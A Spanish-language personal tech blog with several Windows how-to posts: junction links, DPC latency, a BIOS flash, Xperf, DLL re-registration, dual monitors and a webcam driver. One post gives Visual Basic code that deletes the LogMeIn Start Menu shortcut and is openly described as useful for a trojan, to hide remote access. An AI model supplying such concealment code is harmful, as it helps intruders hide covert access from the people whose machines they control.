General

Enlaces Simbólicos en Windows

Escribo esta entrada, para no tener que buscar en google la proxima vez que me haga falta!  y ademas, seguramente a alguien le será util esta informacion.

En linux existen unos enlaces de tipo simbolicos, que sirven para enlazar dos directorios o ficheros, en el mismo disco o en cualquier otro. Estos enlaces son transparentes tanto como para el usuario como para las aplicaciones.

De Wikipedia:

Un enlace simbólico, en sistemas unix o linux, indica un acceso a un directorio o fichero que no es real, sino un enlace a otro, que se encuentra en un lugar distinto dentro de la estructura de directorios. Una modificación realizada utilizando este enlace se reflejará en el original; pero, por el contrario, si se elimina el enlace, no se eliminará el auténtico.

Otra opción menos usual es utilizar un enlace duro (hard link), en el que el acceso es indistinguible del real, y el borrado del enlace provoca el borrado del archivo o directorio si era el último enlace duro al fichero.

Una ventaja del enlace simbólico frente a los enlaces duros es que es posible realizar enlaces simbólicos que apunten a objetos en sistemas de archivos que se hallan en otros dispositivos o particiones dentro del mismo dispositivo. Además, cualquier usuario puede crear un enlace simbólico a un directorio, acción que está restringida al superusuario en sistemas UNIX, aunque en los sistemas modernos esta posibilidad no existe.

El comando utilizado normalmente para gestionar los enlaces (tanto duros como simbólicos) es ln.

Los permisos del sistema de archivo sobre el enlace simbólico no tiene relevancia alguna: los permisos en el objeto al cual referencia el enlace simbólico son los que determinan los permisos de acceso.

Es interesante observar que el tamaño de un enlace simbólico es igual al número de caracteres en el camino al objeto que el apunta.

Por ejemplo: En mi caso, utilize estos enlaces simbolicos, porque tengo 3 particiones en mi disco, en una esta ubuntu, y en las otras tengo Windows 7. Uno de los windows es el de uso diario, es decir, demora 15 minutos en arrancar y poder abrir firefox, pero como tengo todo pero todo ahi, no me dan ganas de formatearlo….   el otro windows,  lo tengo “fresco” esta como recien instalado, porque lo tengo frizado, con deep freeze…  entonces esta como nuevo cada vez que prendo la maquina, a éste lo utilizo para poner musica, por lo que solo tengo un par de aplicaciones de audio instaladas.

El problema es que tengo mis playlist y configuraciones en la particion vieja de windows, por lo que hice enlaces simbolicos a las carpetas de musica, programas configuraciones etc. para que las modificaciones que haga en la particion nueva, no sean mas que modificaciones en la particion verdadera.

Esto me permite tener todo al alcance de la mano, como si estuviera usando la otra particion vieja de windows.

Bien vamos a la accion.

En windows 7 esto se puede hacer con MKLINK, pero lo generalizo para todas las versiones de Windows desde XP.

Descargamos esto (deberias copiar el ejecutable en C:\\Windows\System32)

Para poder hacer enlaces simbolicos necesitamos abrir una consola CMD y utilizar el comando de esta forma:

junction origen destino

por ejemplo

junction c:\Users\Usuario\Music d:\Users\MiotroUsuario\Musica

Este ejemplo, creara un enlace simbolico en la carpeta Music, por lo que cuando accedas a esta carpetad esde el explorador de archivos, veras todos los archivos que estan en  d:\Users\MiotroUsuario\Musica

Cabe aclarar que si la carpeta C:\Users\Usuario\Music  existe, se borraran todos los archivos que contenga.

Para borrar un enlace simbolico, basta con ejecutar

junction -d c:\Users\Usuario\Music

Espero que les sirva. saludos

Solución definitiva a los problemas de latencia DPC (audio ASIO entre varios)

Me alegra decir que la gente de nvidia a publicado un driver version beta, que soluciona definitivamente los problemas de latencia DPC.

En mi caso personal, tengo una BCD-3000 y cada 15 segundos o menos, se cortaba el audio…  despues de investigar mucho, encontre que desactivando la placa nvidia desde el administrador de dispositivos, solucionaba el problema, con la concecuencia de que se veia un poco mal graficamente la PC, nada de aero ni eso…  pero no se cortaba el audio.

Con esta version de  los drivers: 257.15 BETA  se solucionan permantentemente los problemas de latencia DPC.

ahora estoy contento con mi BCD reproduciendo audio ASIO y viendo videos al mismo tiempo sin cortes!!!!

puedes descargar los drivers aqui: http://www.nvidia.es/Download/Find.aspx?lang=es

Actualizar BIOS Bangho B-76XOTU (Clevo M746TU) – (B-76X0TU/M74XTU)

Si por alguna razon quieres actualizar la BIOS de esta maquina, por ejemplo, para evitar que el Wifi se apague cada vez que reinicias la maquina, este manual te servirá.

Antes que nada, quiero decirte que actualizar la BIOS es un proceso seguro, pero si cometes algun error, tu computadora, quedara inutilizable. (se puede reparar mediante hard. pero se complica)

Necesitaras un PenDrive USB, y descargate los siguientes archivos:

BIOS_223.zip –>  Esta es la BIOS propiamente Dicha. (ultima version a la hora de escribir esta entrada 25/5/10)
EC_14.zip –>Esta es la Keyboard BIOS (debe ser instalada ANTES de instalar la BIOS)
SP27608.exe –> Esta utilidad de HP nos permitira formatear el pendrive como un disco booteable.
bootme.zip –> Estos archivos que colocaremos en el pendrive, inician una ventana de comandos DOS.

los pasos son los siguientes:

1- extrae los contenidos del archivo bootme.zip en cualquier directorio. por ejemplo C:\\bootme. Luego instala la utilidad de HP

2- Formatea la unidad  (pendrive) con la utilidad de HP. marca la casilla de “Create a DOS startup Disk” selecciona la opcion “Using DOS files allocated at” y ahi busca la carpeta donde se descomprimieron los archivos de bootme.zip.

3- una vez terminado ese proceso, crea dos carpetas en el pendrive, por ejemplo, “bios” y “ec”  en esas carpetas extrae el contenido de los archivos BIOS_223.zip y EC_14.zip respectivamente. Es importante NO MEZCLAR LOS ARCHIVOS.

Una vez realizados esos pasos, respira profundo, toma fuerzas y reinicia la PC con el pendrive puesto. (asegurate de que la bios bootee desde el pendrive.)

4- escribe cd ec cuando ya estes en la carpeta donde se encuentran los archivos de la EC, escribe update.bat Este proceso es rapido, y escucharas que el cooler de la PC se acelera momentaneamente.

Realizado el ultimo paso sigue con el pendrive puesto, la PC se reinicia y vuelve a aparecer la ventana DOS

5- escribe cd bios y ahora si, llego la hora, escribe update.bat

Este último proceso demora un poco mas, pero si has hecho todo bien, no tiene porque haber problemas.

En la proxima entrada, detallo un “problema” (si se puede llamar asi jejee) muy tonto que tuve.

Saludos Si te sirvio, comenta!!!

Como instalar Xperf en Windows 7

Xperf es una herramienta que desarrollo el Microsoft development team, que basicamente loggea todos los procesos del kernel.

Se utiliza mucho para ver que proceso esta causando X problema.  Personalmente lo utilize para resolver un problema con la latencia DPC que no me permitia trabajar con audio ASIO.

Todo muy lindo, pero a la hora de descargar el famoso Xperf, microsoft nos redirige a una descarga de 2.5GB   que ???!!!!

Bueno, esta es la forma de instalar Xperf sin descargar todo el Development Kit:

La pagina de descarga es esta:
http://www.microsoft.com/downloads/details.aspx?FamilyID=c17ba869-9671-4330-a63e-1fd44e0e2505&displaylang=en

ahi descargan un pequeño instalador. cuando se termine la descarga lo ejecutan y despues de unos pasos, veran algo asi:

ahi, tienen que seleccionar solamente el item marcado en la imagen de arriba.

(solo 250MB)

luego, descargan e instalan el soft.

Ahora, en la carpeta C:\Program Files\Microsoft SDKs\Windows\v7.0\Bin

encontraran los archivos para instalar xperf: wpt_x86.msi y wpt_x64.msi (instala el correspondiente segun tu SO)

ejecuta el instalador, y cuando te pida la carpeta de destino cambia de

C:\Program Files\Microsoft Windows Performance Toolkit\

a

C:\xperf\

luego termina de instalar.

eso es todo, ya tienes el Xperf listo para funcionar.  Quizas en un proximo post escriba sobre como solucionar problemas de latencia DPC.

(Texto original en ingles de Jummy May, MDSN forums)

Error: “Interfaz no compatible” en Windows 7 (No such interface supported)

Éste error, se produce en windows 7 al intentar abrir ciertos programas, en mi caso, se producía con todas las ventanas de la shell de windows, explorer, etc.

El problema surge despues de intentar instalar Internet Explorer 7 en el ordenador. Eso hace que se des-registren algunas dll, entonces no se habren las ventanas…

Para solucionarlo, descarga y ejecuta este archivo bat obtenido de los foros de microsoft.

Cuando el archivo haya listado todas las dll de tu equipo, se abrirá un notepad con la lista de DLLs del sistema, luego vas a Edición–>Reemplazar y ahí pones:

Buscar : C:\
Reemplazar : C:\Windows\System32\Regsvr32.exe /s C:\

Haces click en Reemplazar todas. luego guardas y cerras el archivo.

lo que hace es registrar las dll de nuevo. el proceso tarda unos 10 minutos, no lo cierres!

Saludos

Si a alguien le sirvió, por favor, comenten!!!

 

Actualización al 13-12-2013:

Si no funciona, prueba ejecutar el BAT como administrador. (Click derecho en el archivo, “Ejecutar como administrador”).

A muchos les funcionó iniciando el windows en Modo Seguro/Modo a Prueba de Fallos, y ejecutando el proceso allí.

El proceso es lento, algunos usuarios informaron que el proceso demoró hasta 2 horas. Sabrás cuando el proceso haya terminado porque te aparecerá el bloc de notas.

 

Fuente

LogMeIn Link Killer

Esta extremadamente pequeña aplicacion, sirve para eliminar el acceso directo de logmein del menu de inicio de windows.

La apliacion es util para el troyano. FUNCIONA en windows XP, Vista, Seven

Este es el codigo:

[cc lang=”VB”]Private Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias “SHGetPathFromIDListA” ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type

Private Const CSIDL_STARTMENU = &HB
Private Const CSIDL_PROGRAMS = &H2
Private Const CSIDL_COMMON_STARTMENU = &H16
Private Const CSIDL_COMMON_PROGRAMS = &H17

Private Sub Form_Load()
‘Primero vemos si existe el acceso directo
If Dir(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & “\LogMeIn.lnk”, vbNormal) = “” Then
MsgBox “No se encuentra el acceso directo”, vbCritical, “Error    —   Lordblacksuca”
End
End If
‘si existe, lo matamos
Call Kill(GetSpecialfolder(CSIDL_COMMON_PROGRAMS) & “\LogMeIn.lnk”)
End
End Sub

‘————————————————————————-
‘FUNCIONES
‘————————————————————————-

Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”

End Function[/cc]
LogMeIn guarda el acceso directo en la carpeta comun a todos los usuarios..  es decir AllUsers
Bueno, aca esta la descarga del archivo ejecutable por Rapidshare
Saludos! recuerden, ante cualquier duda, comenten, y si no tienen dudas, bueno, comenten tambien!!.

Como configurar y utilizar 2 monitores en tu PC

Bueno, antes que nada les muestro mi “estación” de trabajo. La foto es un poco vieja y de poca calidad, pero sirve.

 

Mi notebook Bangho EV 1508 y monitor samsung de 24 pulgadas.
Mi notebook Bangho EV 1508 y monitor samsung de 24 pulgadas.

 

Bien, el fin de esta entrada es recomendarles un par de cosas para trabajar con dos monitores. Obvio que si no tienes dos monitores, te recomiendo que si tienes la posibilidad y el espacio necesario, te  compres otro.

Durante TODA la entrada, estoy hablando de tener 2 monitores, con la configuracion de escritorio extendido.

Cosas positivas

El tener dos monitores en una PC, es bueno, en casi todo sentido. Para cualquier persona, que medianamente se considere “informatico” un segundo monitor, significa poder hacer las cosas mas rapido, trabajar mejor con mas aplicaciones a la vez, al incrementar el area de trabajo se logran efectos como organizar mejor ventanas, iconos etc.

Yo por ejemplo, utilizo el monitor de mi notebook,  para tareas, principales, que muchas veces requieren quizas tener un archivo para ir viendo cosas, o monitoriando algo desde algun soft. De otra manera la unica forma de hacer esto, seria minimizar la ventana principal, y luego volver a maximizarla. Inclusive a veces, utilizo mi segundo monitor, para reproducir algun video, hacer un slideshow de fotos, o cosas por el estilo, mientras trabajo en el monitor principal.

Ni que hablar, si te compras un monitor “grande” las tareas de Diseño Grafico por ejemplo, se hacen mucho mas faciles, ya que tienes un area de trabajo mucho mas amplia.

Cosas negativas

Configuraciones.

No digo que sea dificil configurar un segundo monitor en la PC, todo lo contrario, por lo general siempre es “conectar y listo”

EL PROBLEMA, es que los sistemas operativos traen una adaptacion nativa a 2 monitores, digamos que un poco baja.

En Ubuntu por ejemplo, el tener 2 monitores se complica mas que en Windows Vista/Seven.  Aunque esto no quiere decir que Windows es maravilloso para tener 2 monitores, pero el tema está en que existen aplicaciones MUY utiles para windows para trabajar con 2 monitores.

Al conectar un segundo monitor en la PC, basicamente nos encontraremos con problemas como los siguientes, sobre todo si tenes una notebook, que “no siempre” esta conectada al segundo monitor.

  1. En primer lugar, se desordenan los iconos de una forma excesiva diria yo…  practicamente se hace imposible mantener un icono en el mismo lugar cada vez que conectas/desconectas el monitor, o cuando algun juego cambia la resolucion de la pantalla temporalmente.
  2. El segundo monitor queda como..   “aislado” si bien, el espacio de trabajo se extiende, la barra de herramientas y cosas por el estilo, solo son para el monitor principal.
  3. Ademas hay un sin numero de problemas que acarrea, el a veces tener un segundo monitor y a veces no. (notebook)

Bueno, no hay que preocuparse

Por lo menos en windows.

Existen dos aplicaciones (o tres) indispensables para aquel que utilize dos monitores en su PC.

En primer lugar:  Ultramon

Esta aplicacion te permite hacer cosas maravillosas con los dos monitores.

Podras mover las ventanas de un monitor a otro con un solo click, poner una segunda Taskbar en donde tu desees, modificar los accesos directos de las aplicaciones para que dichos programas se ejecuten con la configuracion que tu desees (por ejemplo, en el otro monitor), poner wallpapers y screensavers individuales o compartidos, MUY facilmente y muchas cosas mas, realmente MUY utiles.

Para mas detalle: http://www.realtimesoft.com/ultramon/tour/

Otra característica es el uso de perfiles, por si trabajas con monitores diferentes.

Añado algo: en la seccion de scripts, encontraran unos MUY utiles, yo uso el de el cambio automatico de wallpaper. sencillamente configuras una carpeta con las imagenes y le haces doble click al script, y cada X tienpo (X asignado por el usuario)  se cambiara el wallpaper del monitor que tu indiques automaticamente.

En segundo lugar:  Fences

Sencillamente, INCREIBLE.

Cuando lo vi por primera vez, me negué rotundamente a instalarlo, pensaba que es otra de esas cosas que lo unico que hacen es ocupar los recursos de tu sistema y relentizarlo…  pero estaba totalmente equivocado.

Fences es un programa que te ayudara a tener ordenados tus iconos SIEMPRE, olvidate de el desorden en el escritorio. Increiblemente, no consume casi nada de recursos.

Ademas, una propiedad que tiene Fences, es que se adapta perfectamente al uso de 2 o mas monitores, por ejemplo, yo puedo configurar mis fences de una forma cuando estoy conectado a mi segundo monitor, y de otra forma para cuando estoy sin el segundo monitor. entonces, cuando estoy sin monitor, tengo mis fences un poco mas amontonadas, pero cuando me conecto al segundo monitor, éstas automaticamente se desparraman de la forma en que las configure antes!

En tercer lugar: MultiScreen

Esta es una pequeña aplicacion, que nos permitira dividir el monitor en cuantas partes queramos, permitiendono trabajar mas comodamente con mas ventanas en el mismo monitor.

Pero, Windows 7  trae la posibilidad de hacer algo parecido, por lo que sencillamente, ya no le veo utilidad.


Bien, eso es todo…   estas apliciones hacen que trabajar con 2 monitores sea mucho mas sencillo. Lamentablemente solo estan para windows. En linux aun es un poco mas complejo obtener resultados parecidos.
Saludos!

Bison Cam en Windows 7 – (Solución)

Cuando me actualize a windows seven, funciono todo a la perfección, menos la camara web. Mi notebook es una Bangho EV1508, que en realidad son las CLEVO (chinas) nada mas que les ponen el nombre aca en Argentina. Si cuando abris el soft, te aparece una pantalla negra, es decir, no se ve la camara, bueno, acá te dejo el driver para Windows Seven, y ademas un archivo .reg para hacer que funcione.

DESCARGA

 

El procedimiento es el siguiente:

Primero enciende la camara (Fn+F10)

  1. Descomprimis el RAR y ejecutas el archivo camara.reg Ahora, REINICIA tu PC. (no te olvides de reiniciar)
  2. Si despues de hacer el paso uno, tu camara sigue sin funcionar, entra en la carpeta BisonCam y ejecuta el archivo setup.exe Si ya tenias algun driver instalado, se va adesinstalar y te va a pedir que reinicies la maquina, cuando la reinicies, debes volver a ejecutar el archivo de setup.
  3. Por ultimo debes volver a REINICIAR tu pc.

Ahora, tu camara deberia estar andando.